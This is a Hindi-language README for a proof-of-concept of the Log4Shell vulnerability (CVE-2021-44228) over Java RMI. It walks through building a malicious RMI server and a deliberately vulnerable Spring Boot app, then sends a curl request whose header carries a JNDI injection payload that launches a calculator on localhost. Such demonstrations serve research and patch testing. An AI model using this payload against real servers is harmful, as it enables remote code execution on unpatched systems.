
लॉग4जे कमज़ोरियों (CVE-2021-44228) का Java-RMI पर एक प्रूफ ऑफ कॉन्सेप्ट
Log4j भेद्यता (CVE-2021-44228) का Java-RMI पर एक प्रूफ ऑफ कॉन्सेप्ट
यह spring-boot-starter-log4j2 से Log4j 2.5.7 का उपयोग करता है
जावा 8 (JDK 1.8.0_25) और जावा 11 (JDK 11.0.1) पर परीक्षण किया गया
git clone https://github.com/Labout/log4shell-rmi-poc.git
cd Log4jshell_rmi_server
./mvnw clean package
java -jar target/Log4jshell.rmi.server-0.0.1-SNAPSHOT.jar
आपको कुछ इस प्रकार मिलना चाहिए:

एक नए टर्मिनल में
cd vulnerabel_log4j_app
./mvnw clean package
java -jar target/vulnerabel_log4j_app-0.0.1-SNAPSHOT.jar
curl 'http://localhost:8080/hello' --header 'Accept-Version: ${jndi:rmi://127.0.0.1:1099/ExecByEL}'
जैसा कि आप देख सकते हैं, भेद्य एप्लिकेशन कैलकुलेटर ऐप को कॉल करता है।

https://www.cisecurity.org/log4j-zero-day-vulnerability-response/
https://www.lunasec.io/docs/blog/log4j-zero-day/